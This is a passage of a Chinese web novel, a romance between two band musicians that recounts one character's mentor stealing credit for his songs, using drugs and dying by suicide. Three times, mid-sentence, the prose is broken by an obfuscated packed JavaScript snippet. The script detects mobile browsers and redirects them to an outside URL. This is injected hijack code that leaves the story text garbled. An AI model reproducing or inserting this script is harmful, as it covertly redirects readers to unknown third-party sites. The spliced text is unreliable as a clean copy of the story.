纸鹤变成飞船带我遨游遇到强气流 再睁眼我已来到希望之城紫色的墙蓝色大门 ......” 许惊岁曾听董黎讲述过创作这首歌时的心路历程,他那时正失意,家里人觉得他弄不出名堂,让他不如回老家找个班上,他纠结了很久,还是觉得不想就这么放弃。 有一天喝多了,他走在黄昏街头,突然就在想会不会有一个城,里面没有现实世界的焦虑忧愁,里面的人幸福而自由,载歌载舞,如桃花源。如果真有那个地方应该叫什么名字? 他想了想,应该叫希望之城,他希望有这么一个城,而这个城里面也充满希望。 董黎嗓音很有故事感,很容易就将人带入一个梦幻的童话世界,到了歌曲中后段,吉他上下扫弦加分解和弦,传递出一种欢悦轻快的气氛,鼓点重新开始密集。 最后一声鼓点重重落下,给人一种如梦初醒般的感觉。 表演结束,场下的欢呼声如热浪一阵一阵扑来,许惊岁放下鼓棒,走到前面跟董黎击了个掌,而后一起向观众鞠躬致谢。 回到后台。董黎搭着许惊岁的肩膀,意犹未尽道:“你这鼓真是绝了!” 许惊岁笑了笑,调侃他:“你唱得也不赖啊,风范依旧。” 第一次在舞台上完成这首歌,感觉妙不可言,无论是同乐队其他人的默契合作还是董黎的演唱,都很完美,尤其是编曲,他不得不再次夸赞道:“这个曲子编得是真好。” “对了,你说到曲子,我今天带你见个神秘人。”董黎笑的一脸神秘兮兮。 “谁啊?”许惊岁的好奇心被彻底调动。 “一个你一直想见的人。” 一直想见的人?难道是...他脑中顿时冒出个人选来,有些不太确信地问:“这首歌的编曲者?” “等见到人我再跟你说。”董黎刻意卖了个关子。 几人一同走到了后台。董黎推开门,率先走了进去,跟里面的人笑着道:“你来啦!对了,我今天给你介绍个朋友,特牛特帅一鼓手。” 他说完,冲着门口吆喝了声:“小岁。” 许惊岁进门看清站在董黎旁边的男生的面容时,登时愣住了。男生长着张帅气而冷淡的脸,带着个黑色鸭舌帽,与争执那天一模一样。 难道他就是董黎说的那个编曲者? “这是林此宵,双木林...” “不用介绍了。”许惊岁打断道,眸光轻扫过林此宵,说:“我们认识。” “哟!”董黎笑了起来,“这么巧的吗?看来那句话诚不欺我,怎么说的来着,朋友的朋友就是朋友!” “我跟他可不是朋友。”许惊岁冷冰冰道。 14. 再谈记忆 董黎跟许惊岁认识两三年,还没见过他生气的模样,一时有些不知所措。其他几人面面相觑,也不知道发生了什么。 许惊岁很淡的瞥了眼林此宵,转过身跟董黎说:“我身体不太舒服,先回去了。” “哎,不是说好了一起吃饭吗?”董黎伸手拉住他的胳膊,许惊岁拍了拍他的肩膀,道:“下次吧,下次我请,不好意思。” 见他确实没有兴致,董黎也不好再劝。 等人走的没影了,董黎抬胳膊,用肘捣了下林此宵,一脸探索欲地问:“你是干了什么能把我们好脾气的小少爷惹生气了啊?” 林此宵嘴角绷着,没说话。 几人收拾了下东西,驱车前往董黎家,一起在院子里喝酒撸串,又聊会天。 “你以后真不打算干这个了?”董黎的语气很是惋惜,他也知道那些事,但他对齐休没什么好印象。 “应该吧。”林此宵喝了口水,垂眸淡淡道。 “多可惜啊,要不是齐休那事,唉...”董黎长叹了口气,林此宵眸光微动,却也没说什么。 过了会,方才还晴空万里的天忽然开始丢雨点,董黎低骂了声,转身往屋里跑。 好在东西吃完了,酒也喝完了,这场雨倒像是要催人走了似的。 林此宵跟董黎道了别,转身正要走,董黎忽然想起个事,忙道:“你等一下。” 只见他跑进屋里,过了几分钟后拿出个包装好的盒子,看盒子封面图样像是声卡,董黎说:“我们明天要去霖市,这个声卡我本来打算今晚小岁来这吃饭送给他的,这一耽搁差点忘了,你回头有时间帮我送一下吧。” 林此宵唇抿成一条直线,想起来许惊岁临走前说的那句话,淡淡道:“他应该不太想见到我。” “那是你不了解他,他这人啊,看着挺混的,但是心贼软,就跟刺猬似的,你说两句好的哄哄他就不气了。”董黎说完看了眼林此宵的冰块脸,觉得“哄哄”对他来说应该有些难。 于是他又去茶几抽屉里翻找,找了会没找到,喊了声门口的贝斯手:“小方,上次小岁来不是放了把钥匙在这吗?你瞧见了没?” “不是在门口鞋柜上面挂着呢吗?” 董黎闻声去找了找,果然看见一把钥匙,他摘了下来跟林此宵说:“还好前几天他来这排练的时候丢了把钥匙在这。” 他把钥匙递到林此宵的手里,认真交代:“如果他实在不愿意见你,你就说是我送他的东西,如果他还不给你开门,你就自个开门,放下东西走就成。明白?” 林此宵垂眸看了看手里的钥匙,点了点头。 “外面下雨了,你拿把伞走吧。” * 许惊岁从后台离开后回了排练室。 林此宵竟然就是自己很喜欢的那个编曲家的事就像一场地震,余震一直回荡在他的心中。 怎么会这么巧? 他回屋打开电脑,带上耳机闭上眼又听了几遍《CityofHope》。 长时间无反应,电脑即将熄屏,他睁开眼移动鼠标,慌乱中不知道点到了什么链接,页面跳转,标题为:“齐休音乐风格大变,或为近年来最大黑马” 许惊岁匆匆扫了眼,该博主是个资深滚圈音乐人,客观地分析了齐休组建乐队前后的风格变化。 “...很显然,齐休最开始的风格更偏向于朋克风格,但不得章法,反响极差,但自然组建了乐队后,其风格大变,尤其是《机械人》这一专辑中同名主打歌‘机械人''采用了英伦摇滚,融合Synthpop,尤其是贝斯音一上来,整个歌的质感都飞升,不得不说作曲的人简直是个天才!...” 按理来说一个人的习惯爱好很难改变,尤其是音乐创作者,很容易受困于自己风格的限制,也就是为什么很多乐迷一听intro就知道是谁的新歌,好的音乐制作人的个人特色都极为明显,短时间内能发生质的改变只有两种可能,一是突然打通了任督二脉,二是词曲创作者换了人。 可是如果换了人为什么还要标榜是自己原创?许惊岁皱起眉头,拿起旁边的头戴式耳机,点开齐休组建乐队前后的歌曲,进行播放。 很明显乐队的歌的编曲制作很会利用乐器的声音与人声,这个创作风格倒是跟《CityofHope》的编曲风格有些像。 想到林此宵跟齐休是同一个乐队的,突然间一个念头在他脑海蹦了出来,许惊岁怔怔地盯着电脑屏幕,刚要再听一遍《CityofHope》,结果电脑突然黑屏了。 不光电脑黑屏,屋内也停电了。 外面不知道什么时候下起了大雨,他戴着耳机太过专注没有听到。 劲烈的风将门吹关上,不巧的是这个门前几天坏了,只能从外面打开,他这几天忙着跟董黎排练,也忘了这茬子事。 他摸出手机,却发现手机不知道什么时候早就关机了。 真是屋漏偏逢连夜雨。许惊岁认命的等雨停等来电。 估计是要转秋了,夏末的最后一场雨来势汹汹,大有吹拉枯朽之势,窗外的树被狂风吹得拍打在窗户上,发出“啪啪”的声响。 忽然间,一道惊雷乍响,银白色的闪电似乎能撕破天空。 许惊岁从小天不怕地不怕,最怕打雷,平时遇到雷雨天都会选择看电影来分散注意力,可现在停电了,也看不成。 突然间的黑暗令他很不适从,他呆坐着,等雷声熄下,才起身往沙发那边走去,打算用睡觉来麻痹自己的恐惧。 黑暗中他什么都看不见,刚走了两步,左脚不知道被什么东西绊住,整个人失控的往前扑去,紧接着响起了玻璃杯摔落地面发出的清脆声。 过了好几秒,许惊岁才回过神。 “嘶,痛...”他捂着额头,险些怀疑自己被撞出了脑震荡,他胡乱地擦掉因为剧烈疼痛而溢出的生理性泪水,手往前伸着,小步小步谨慎缓慢地挪动脚步。 终于到了沙发跟前,他弯腰伸手摸了摸,确定是沙发无疑。他躺下,蜷缩在沙发上,窗外惊雷声时不时响起,他闭上眼睛捂着耳朵,却像是掩耳盗铃。 过了会,雨势依旧滂沱。 林此宵走到楼下,收起了伞,雨势太大,他的半个肩膀都被淋湿了。 他拨打许惊岁的语音电话,却发现对方不知何时拉黑了他。他将手机放回口袋,来到门前敲了敲门,试探地喊了几声:“许惊岁”。等了片刻没有人回应。 看来是真的生气了,连搭理都不愿搭理。 林此宵垂下眼,想到董黎的话,打算进去把东西放下就走。钥匙插入门锁,屋内一片漆黑,只有窗户透着幽幽的光,他打开手机手电筒,走了进去。 正在当鸵鸟的许惊岁突然听到了外面传来的脚步声,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181100|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里莫名其妙蹦出一句话:月黑风高夜,杀人放火时。 不是,这大雨天的,小偷至于这么敬业吗? 外面的人似乎在翻找什么,只听见什么的东西被放下的声音。许惊岁本就因雷声而脆弱的神经被拉扯到了极点。 他犹豫着起身,摸了个沙发上的抱枕当武器,慢慢挪动着往门口走去,结果又不小心踢到了什么,痛的低呼了声。 林此宵把东西放下刚准备走,就听见了里面传来的动静,他本想安静离开,可想了想,还是决定说一声。 脚步声开始向紧锁的门靠近,每一步都像是踩在许惊岁的心跳上,他没来由地放缓了呼吸。 紧接着脚步声停在了门口,外面的人试探性地敲了敲门,许惊岁不敢出声,紧张的掌心出汗,握了个门后的扫把打算当武器。 恰在这时,一道清冷磁性的男声打破了黑夜的沉寂。 “许惊岁?你在里面吗?” 许惊岁愣了愣,大脑一瞬间宕机。 林此宵?他怎么会在这?他来做什么? 有太多的疑问,但他来不及思索,忙回话:“是我,我在,门锁坏了,我出不去。” 声音透过一道门传过来,竟听起来有些委屈和可怜。林此宵握住门把手,拧开了门锁,微微抬高手机,照亮了这一片区域,当他看见许惊岁的脸时,目光突然定住。 对方的头发乱糟糟的,微卷的头发像个鸡窝,眼底红红的,看起来像是刚哭过,头上还有一处刮破的伤口,沁着细小血珠,看起来已经结痂了,手里还拿着个扫把,整个人显得很可怜。 “你怎么会在这?”许惊岁的声音有些沙哑,听起来倒真像刚哭过,他挪动着脚步朝他走了过去,莫名觉得这刻无比的安心。 “董黎托我给你送东西。”他举着手电筒照了下外面的桌面示意。 许惊岁才反应过来方才的动静是怎么一回事,有些尴尬地低头摸了摸鼻尖,应了声:“哦。” 头上的伤口更加清楚的暴露在林此宵的眼前,伤口还有些青肿,他问:“你这是怎么了?” “哪?”许惊岁顺着他的目光摸了下自己的额头,指腹刚触碰到就疼得他龇牙,“好痛。” “屋里停电了,不小心绊到了。”他低声说。 林此宵记得自己来的时候电梯还是可运行的,猜测是许惊岁这跳闸了。 “电表在哪?”他问。 “电表?”没有任何生活经验的小少爷迷茫地道:“我不知道。” 林此宵看了他一眼,收回视线,举着手电筒往外走,电表大多都装在门口或者门外。 他脚步刚动,就见一只手拉住了他的衣角,怯怯地问:“你要去哪?” “找电表。” “我也去。” 林此宵腿长步子大,走了几步后他发现许惊岁跟的有些吃力,便放缓了步子,问:“你有夜盲症吗?” 许惊岁愣了下,点点头,想起来他看不见,开口说:“是的。” “嗯。” 许惊岁正疑惑他问这个做什么的时候,林此宵清冷的嗓音道:“看不见的话可以拉我的衣服。” 许惊岁伸出手,却绕开了衣角,拉住了林此宵的手腕。 温热的触感令林此宵脚步顿了下,他欲言又止,最终只是放任他拉着。 他只是看不见,林此宵如是心想。 15. 再谈记忆 电闸被重新推了上去,屋内霎时明亮,各类家电运作的声音响起。 “好了。”林此宵淡淡开口,垂眸看了眼正握着自己手的那只手。 恰在此时,许惊岁很自然地收回手,像无事发生,客气道:“谢谢。” 林此宵看着他的脸,突然想起来楼下的那只小野猫,每次喂食时都会扒拉着他的裤脚,打滚卖萌讨好,露出肚皮让他摸,但吃饱后就翻脸不认人,尾巴轻扫过他的指尖傲娇离开,就像许惊岁这样。 “嗯。”他收回眼,沉声应下,彼此静默着站了几秒后,他想开口道别,又觉得似乎没有这个必要,于是直接转身离开。 “进来坐会吧。”许惊岁打断了他的动作,“我有话想跟你说。”他说完往里走去,走了两步见林此宵没有跟上,又转头看他,皱了下眉说:“你打算一直站在那当门神么?” 坦白说,许惊岁心里还有点气,气他是个胆小鬼,气他是个冷面哑巴。 林此宵脸上没什么表情,定定地看了他一会后,像是妥协,抬步跟了过来。 许惊岁脚步没停地来到录音室,把电脑开机,找到歌曲界面,将耳机递给身后的林此宵,抬了下手示意,等林此宵戴上后,他点击播放。 首先响起的是《CityofHope》,一曲结束后,许惊岁又播放了让齐休大爆的那首《机械人》。 林此宵一开始不明所以地微蹙着眉头,而当《机械人》开头刚响起两三秒,他眸光一紧,登时抬眼看向许惊岁。 许惊岁见状点了暂停,走定在他面前,伸手摘下他的耳机,问:“很熟悉吧?这两首歌都是你制作的吧?” “准确来说,不光《机械人》这首,自从齐休组建乐队后的所有歌应该都是出自你手吧?” 林此宵喉间一紧,眸光紧盯着许惊岁,过了两秒,又垂下眼,他的睫毛很长,足以遮住眼底情绪。 许惊岁观察着他的脸色,逼问:“为什么齐休宣称是他原创?林此宵,你还要装哑巴到什么时候?!” “你要我说什么?”林此宵的语气有些颓。 事情刚发生那会,他跟很多人都说过,警察、媒体、乐队的其他成员、齐休的亲人朋友,但相信他的人很少,多数人只相信一个“病人”的话,而对清白者的呐喊置若罔闻。 “说什么都好。”许惊岁看着他的眼睛,说:“承认你像他们说的那样,是害死你师父的人,是个忘恩负义的人,或者否认,那些事情压根跟你没有关系,你同为受害者。” 林此宵惊得抬起头,有些诧异地看着许惊岁。 许惊岁读懂了他眼里的情绪,这恰恰验证了他心底的猜想,问:“我说对了是吗?” 见对方沉默不语,他说:“你知道吗?一个人的创作风格是很难改变的。” 林此宵眸光微动,顿时明白了他话里的意思。 齐休确实是林此宵的领门人、是他的师父、是他穷困潦倒时候的恩人,更是树立他音乐信仰的人。他打心底里敬爱,最开始的合作是很愉快的,一起在舞台上唱歌,尽情挥洒热情跟汗水,大家一起朝着一个方向前进。 可是后来,乐队开始有了些名气,随之而来的是齐休开始变了。 林此宵最开始发现这件事的时候,是齐休将他编写的曲目标榜为自己原创,他询问过,但都被以各种各样的理由驳回—— “唱片公司只认有头有脸的人,你是有实力,可名不见经传的,你还太年轻,不懂这里面的弯弯绕绕,这一行水深着呢。” “咱两一个乐队,同一条船上的,我是你师父,分什么你的我的,你忘了当初是谁教你的贝斯了?没有我,你什么也不是。” “你可别忘了当初你外婆生病是谁救的急,况且赚的钱我又不是没分你,写我名又怎么了?” 再后来,某次乐队演出,在后台准备时林此宵就发觉齐休不太对劲,精神呈现过度亢奋的状态,他没多想,可就是在那场表演上,齐休屡屡弹错唱错,引得台下歌迷不满,而齐休非但没道歉,反而直接扔下吉他,冲下去跟歌迷打了起来。 这个事情最终以停活动跟道歉赔钱收尾,但也是从那时,林此宵明显的发现了齐休的不对劲,他想去找齐休聊聊,可推开齐休的门,看见的却是他在嗑药。 林此宵登时愣住,不敢置信地看着自己心中的恩师,他第一反应就是报警。可齐休突然跪在他面前,头一次在他面前露出乞求的神情,他一遍遍地解释,自己是因为创作压力太大了,已经很久没有睡着了,患上了严重的抑郁症,嗑药只是为了寻找灵感,求林此宵不要报警,以他的身份,如果被曝光嗑药,他的事业和他的人生就完了。 林此宵沉默了很久,说:“这并不会带来灵感,只会家破人亡。这是最后一次,否则我一定会报警。” 只是没想到下一次来得那么快。 那天警察破门而入时,排练室只有齐休跟林此宵两个人,警方在排练室的钢琴里面、吉他里面查获了多种毒品,根据流程,两人都被带走做了尿液检测,令林此宵没想到的是,齐休的尿检呈阳性。 后来,齐休也理所当然的被拘役十五天,并罚款。只是没想到这事很快走露了风声,齐休嗑药一事如野火燎原之势迅速传来,等齐休十五天后释放出来时,天已经变了。 许多跟他合作的唱片公司跟影视公司纷纷要求解约,他之前的歌曲也受到大众抵制,之前的迅速成名将齐休捧得太高,他早已习惯粉丝及媒体的吹捧,初心本心被他抛得太远,也注定了他摔下来时注定会落个面目全非的后果。 他那段时间不敢出门,总是觉得会有人认出他、辱骂他,林此宵去看过他几次,都吃了闭门羹,但林此宵只是想问他,为什么要把毒品藏在那把吉他里,明明那把吉他陪他从籍籍无名走到现在,是他最珍爱的宝物。 再后来,齐休的精神出现了很大的问题,他开始怀疑当初是林此宵报的警,尽管真相是贩卖毒品的中间线人落网,供出了与其联络的卖家,但齐休坚决不信,并且他开始愤恨林此宵,为什么他可以创作出受人喜爱的歌,为什么自己那些年的努力不敌林此宵的天赋,他开始将自己的失意、失败归咎于林此宵。 强烈的嫉妒心像一团无名之火,不知从什么时候开始燃烧,等发现时已是熊熊火焰。他扑不灭,只能任由它吞噬自己。他开始臆想,将那些荣耀、天赋、光环强行加到自己身上,将那些过错、是非、辱骂推给别人,他开始病得越来越重。 他终日萎靡,像一滩烂泥,不久后,他又开始嗑药,贪图起效时的短暂欢愉和神经的兴奋。 那种感觉令他觉得自己还活在舞台上,活在众人欢呼声里。但是他错了,错得很离谱很滑稽。 林此宵接到他电话的那天正在兼职,电话里风声很大,齐休的声音也很大,他几乎是在歇斯底里地吼,像一头颓败的野兽,他说:“我什么都没有了,我起不来了,我要摔死了,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181101|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到这些很开心吧?” “你为什么要报警?为什么?我把那些都还给你,你别报警了好吗?” 林此宵很快察觉出来他的语气太不对,尽量稳定他的情绪,关心地问:“齐休,你在哪?” 电话那头的齐休的精神状态很差,压根听不进去,依旧自顾自地道:“你们这些人都是假慈悲!虚伪!虚伪至极!我不需要你们的同情和可怜!” “你那么厉害、那么聪明。我才教了你一年半,你的贝斯弹得就远超过我了,不过还好,我还会弹吉他,我可是你的师父,可是为什么我处处不如你?贝斯是、编曲是。” “齐休,你冷静一点,你先告诉我你在哪好吗?”林此宵拿着手机,狂奔到路口,拦下了辆出租车,报出了齐休家的住址。 “你知道吗?他们都说我创建乐队后的曲风大变,变得好了,可是我只是一个小偷!一个时时害怕夜夜恐惧真相暴露的小偷!” “我回不去了,林此宵,我恨你,我恨你们这种做什么都得上天眷顾的人。这个世界不喜欢我,我该走了...” “齐休!” 传来的只有手机落地的声音,通话戛然而止,林此宵如坠冰窟。 他那天到齐休小区楼下的时候,案发现场已经被盖上了白布,他还是没能见到齐休的最后一面。 警察后来调查了齐休的手机,发现最后一个联系人是林此宵,将他又喊去做了笔录。 齐休没有什么亲人,父亲去世得早,母亲跑掉了,从小跟着姑姑长大,一个人从乡下走出来,为了追寻音乐梦背井离乡在白港漂了好多年。尸体已经不成样子,火葬费是林此宵出的,还找了入殓师帮他整理了下仪容,齐休这人向来要面子的。 齐休的姑姑从乡下赶过来时已经是两天后,带着一身风尘仆仆边号啕大哭边指着林此宵的鼻子痛骂。 林此宵什么也没说,只是把那把吉他跟骨灰盒递给她,转身离开。 时间的洪流中,很多事情都如过眼烟云,转瞬即逝,在旁人看来,只是寻常的一天,一个男人离开了这个世界,可对林此宵而言,成为了他很长一段时间的噩梦。 他总是会想起第一次遇见齐休时的场景,男人在街头弹着吉他表演,夜晚的月光笼罩在他身上,像是为他铺了一条星光大道。林此宵驻足看了很久,接连几天,齐休都在那,再后来,齐休忽然问他:“小朋友,要不要学?我教你。” 齐休带着他到了自己租的房间,上面挂着几把吉他,不过他拍了拍手里的那把,说:“我最喜欢这个,这是我的宝贝!” “你看看你喜欢哪把?” 林此宵眸光扫过,却定格在了放在边角的一把贝斯,齐休顺着看过去,笑了笑:“这个啊,贝斯,想弹得好很难的,你想学这个?” 林此宵点了点头。 “行,我竟然也有徒弟了哈哈。” 再后来,林此宵有空的时候也会跟他一起跑跑演出打打下手。得知林此宵考上了B大时,齐休简直比他还要开心,“不愧是我徒弟,真聪明!” 上了大学,时间稍微宽裕了些,齐休突然有了组建一个自己的乐队的想法,有了林此宵的加入,又在同城招募了三个人,亚当乐队就这么成立了。 .... 如果那时候有个人可以坚定地站在他的身边,同他说出一句:“你也是受害者啊。”该多好。 好在他现在等到了,好在还不算太晚。 16. 再谈记忆 林此宵抬头看向许惊岁,良久后,终于说出了口。 他开诚布公地解释了他与齐休的过往,坦言道:“乐队成立后的那些歌确实是我创作的,以及,我没有碰过那些东西。” 他也不知道为什么要跟许惊岁说,这个人明明给他的印象皆是负面。可他还是如久行沙漠濒临渴死的人,怀抱着最后一丁点希望。 真的到话音落地的那刻,林此宵才惊觉这些话好像也没那么难说出口。只是过去的事像个无形的圈,让他画地为牢,不敢迈出半步,而如今许惊岁站在圈外,向他伸出手。 许惊岁终于听到了期望的答案,正如自己所想的那样,他也在心中默默松了口气。 其实他也说不清为什么执拗于林此宵,可能觉得他与自己同病相怜,被人抛弃,被人质疑。 “我相信你。”许惊岁看着他的眼睛,很认真地说。他想到林此宵之前对自己的一次次拒绝,忽然想到了一个心理学名词:“弃猫效应。” 可是被抛弃过一次的猫猫真的会变乖吗?还是会变得更害怕善变的人类呢? 许惊岁沉默了片刻,说:“那只是一场意外,不是你害死了他。” 那一刻,本如枯井般干涸的心,涌动出涓涓细流。林此宵眼中泛起波澜,静默地看了许惊岁好一会,清冷磁性的嗓音缓缓道:“对不起...” 顿了下,又道:“谢谢你。” 后来在人生的很多时刻,他总会想起那个夜晚,以及许惊岁看向他的眼睛。 后来也有人问过他,为什么喜欢许惊岁? 他想了很久,不是说不出来而是不知道从何说起,可能是因为他是第一个无条件相信他的人,也是不分青红皂白就站在他身边的人,更是将他从泥潭谷底拖出来的人。 从那个时候许惊岁就在他心里留下了棵种子,后来无论去到哪,那颗种子都在茁壮成长,生根发芽。 他最后给出的回答是:“没有人会不喜欢许惊岁。” 当然这都是后话。 许惊岁闻言愣了下,也笑了笑,露出颗虎牙,问:“那你要不要接住这次机会?”他停了下,缓缓而认真地说:“你愿意加入极昼吗?” 一个忘记过去,重新开始的机会。 林此宵看着他,忽然想起他白天在台上演奏时的画面,台上的许惊岁也是这么恣意散漫地笑着,让人挪不开眼。 有一个念头突然冒了出来:他想跟许惊岁一同在台上唱歌。 短暂的思考后,许惊岁听见清冷嗓音回答了三个字:“我愿意。” 像一句隆重的誓词。 许惊岁笑了笑,莫名想到了什么,打趣道:“怎么好像我在跟你求婚一样。” 林此宵闻言怔了下,看见对面人眼中的调笑,默不作声地移开了目光,余光却扫到他额头的伤,他抿了抿唇,提醒道:“你的伤口需要处理一下。” 不说不觉得,一说他突然感觉额头的伤口似乎又开始疼了。许惊岁皱着眉头,往客厅走去,边走边说:“我记得水哥之前买过几盒药扔在了这儿。” 他俯下身子,拉开茶几下面的抽屉,果不其然看见一盒碘伏跟一盒创口贴。 “可以帮我上药吗?我看不到。” 任谁听来都是很拙劣的借口,起身左转走几步的卫生间里就有一面镜子。 许惊岁看着他,语气有些讨好意味,他眨了眨眼睛,很可怜地说:“我们现在还不算是朋友吗,林此宵?” 林此宵听明白了话里意思,被“朋友之名”捆绑的他往前走了几步,接过许惊岁递来的东西。 棉签伸入碘伏中,林此宵垂眸看了他一眼,许惊岁安静老实地坐在沙发上,颇有一种任由处置的架势,他抬手将蘸湿的棉签涂抹在伤口上。 “嘶...好痛...”许惊岁伸手拽了下他的衣角,低垂着脑袋躲开,一张好看的脸皱着。 从上往下看,可以清晰看见被泪水润湿还未干的睫毛,像被雨打湿的蝴蝶翅膀,脆弱又可怜。许惊岁的鼻子皱着,鼻尖的小痣似乎在控诉他的不温柔。 “对不起。”林此宵语气不自觉地放轻柔,手上的动作轻了许多。 许惊岁闻言抬眸看他,林此宵的神情很专注,眉头因为认真而轻微蹙着,嘴角紧绷着。 他突然想到件事,思来想去了几秒,还是决定说出来,“你知道水哥为什么对你的态度反应很大吗?” 对上林此宵的眼,他缓缓说道:“前几天是水哥父亲的忌日,他刚去扫墓回来。” 林此宵不知道他为何突然提到这个,但没有打断,只是安静地听他说,“水哥他父亲是缉毒警察,牺牲于一场缉毒行动,子弹射中心脏,没等到送医院人就走了,再过几天就是水哥的十二岁生日,明明答应了要带他去游乐园,但终究还是没等到。” 心里的疑惑突然被解开,林此宵抿了抿唇,心情有些复杂,难怪祁洲一见到他就反应如此之大,一切都变得有迹可循了起来。 许惊岁说完顿了下,看着林此宵的神情很认真,“我跟你说这些,只是希望你明白,水哥他不是有意针对你,不光他,我也痛恨所有跟毒有关的人。” 不过,还好你不是。 “水哥那边我会跟他说清楚,不过...”他话锋一转,问:“你打算怎么答谢我?” 林此宵闻言正在创可贴的动作一顿,愣神的半秒功夫,许惊岁突然凑近他,那双眼睛很亮,像晚星,他头一次发现原来星星也可以离自己这么近。 他动作僵硬的将创可贴轻轻贴上,移开目光,淡淡道:“你想要怎么谢?” “唔...”许惊岁扫过他的脸,若有所思了两秒,说:“答应我一件事吧。” 见林此宵脸上流露出疑惑的表情,他笑了笑,解释:“放心,不会是有悖你价值观道德观的事,具体什么事我还没想好,先欠着吧。” 林此宵沉沉地看了他一会,低声“嗯”了下。 外面依旧狂风大作,裹挟着将歇的雨重来,豆大的雨点啪嗒啪嗒砸在玻璃上,屋内灯火通明,外面黑沉的看不见五指,偶有银色闪电伴着轰隆雷声,听起来颇令人心惊。 上完药,林此宵彻底没有逗留的理由,他起身正要告别。 许惊岁突然拽住了他的衣角,抬头仰视着他,眼睛像可怜的小兽,请求的语气问:“你能陪我一会吗?” 见对方沉默不语,他又找补道:“我真的很怕打雷,你就陪我一会,等雨停,好不好?” 林此宵薄唇抿了抿,对上他可怜的眼神,又想到黑暗中无助的那只手和额头上的伤口,终究还是欲言又止。 不过是一场雨的时间,他心想,却没发现不知从何时起,他已经变得很难拒绝许惊岁。 脚步重新走了回来,林此宵坐到沙发上,算是无声的同意。 许惊岁笑得很真诚,欢快道:“那我先去洗个澡。”他说完起身往卧室走去,走了几步后,在林此宵看不到的画面里,他勾了勾嘴角。 毫不知情的林此宵看着他的身影从卧室拿上睡衣又走到浴室,紧接着响起哗哗水流声。 如果现在离开也是可以的吧? 可是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181102|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到对方无助可怜的眼神和低声请求,道德感又在告诉他,不应该在这个时候离开。 他垂眸思索了一会,决定打电话跟外婆说一声,“我今晚要晚些回去,你早点休息,别等我了。” 外婆应了声,又不放心地交代:“回来的话要注意安全哦。” “嗯,好。”他挂上电话,收起手机,一转身就看见已经洗好澡站在沙发旁边的许惊岁,对方笼了件暖黄色的绸质长睡袍,远远站在那像一个明媚的小太阳。 许惊岁坐下,看着林此宵,笑了笑说:“我还以为你会跑掉。” 心底里的曾冒出过的念头被他发觉,就好像会读心术一般。林此宵抿了抿唇,抬步走了过去。 他刚坐下,就见许惊岁突然侧身朝他过来,安全距离一下子缩短,两人近得鼻息可闻。浴后沐浴露的香味在空气中扩散,像甘甜的水蜜桃。 林此宵登时眸光一紧,下意识地低垂下眼眸,却又不小心扫到一片领口风光。 睡袍领口因拉扯的幅度而微敞,露出许惊岁精致的锁骨和白皙的肌肤。 许惊岁察觉到了对方的紧张,不禁在心里失笑,倒真是纯情。他很快地起身,若无其事地展示了下手里的东西,林此宵顺着看去,怔了下,许惊岁手里拿着的是一个遥控器。 也就是说,他方才只是在拿遥控器,并不是要做些什么。 直钉着林此宵的那双眼睛带着笑,像是看破了他的所想,许惊岁语气轻飘飘的,像羽毛一般缓缓飘下,明知故问道:“林此宵,你怎么这么紧张呀?” “你以为我要做什么?”他眸光扫过林此宵的脸,落在他的喉结上,声音里带着轻佻的笑意,道:“亲你?” 林此宵登时愣住,看着对方那张纯真无害的脸,真的很具有迷惑性,仿佛刚才装乖卖惨的人并不是他,他沉声道:“许惊岁!” 许惊岁表情很无辜,像是不知道自己说错了什么似的,眨了眨眼睛,暧昧促狭道:“怎么,你害羞啦?” “不是。”林此宵别开脸,脸上没什么表情,清冷嗓音劝告:“你对待感情应该专一一些。” “我?”许惊岁笑了笑,有些不明所以,反问:“那你说说我怎么不专一?” 林此宵默默看了他几秒,不专一的地方太多了,明明跟别的男生又搂又抱的,现在又跟他说这种暧昧至极的话,是把自己当备胎吗? 见对方一脸不清楚的模样,他冷声提醒:“咖啡店。” “咖啡店?”许惊岁眼睫低垂,仔细回想了几秒,忽然笑了下,“你是说祝响?他是我朋友,特别好的朋友。” 那巷子口与你拥抱的那个男生呢?他没说出口,毕竟那时候他与许惊岁还不算认识。 对上林此宵的目光,见对方还有几分将信将疑,许惊岁很认真地举起手,一脸虔诚地发誓:“我对待感情可专一了。” 他说完皱了皱眉头,显得有几分委屈,好似林此宵错怪了他一般。 仅仅只是朋友吗? 林此宵唇角紧绷着,看着对方清澈的眼睛,忽然发现自己的思想有些越界,如果只是打算当朋友,对方有几个暧昧对象这种事,似乎跟他没关系。 薄唇抿了下,道:“你不用跟我解释。” 明明最开始说自己不专一的人是他,现在不听解释的也是他,真是个自我矛盾的人,很不像一开始认识的林此宵。 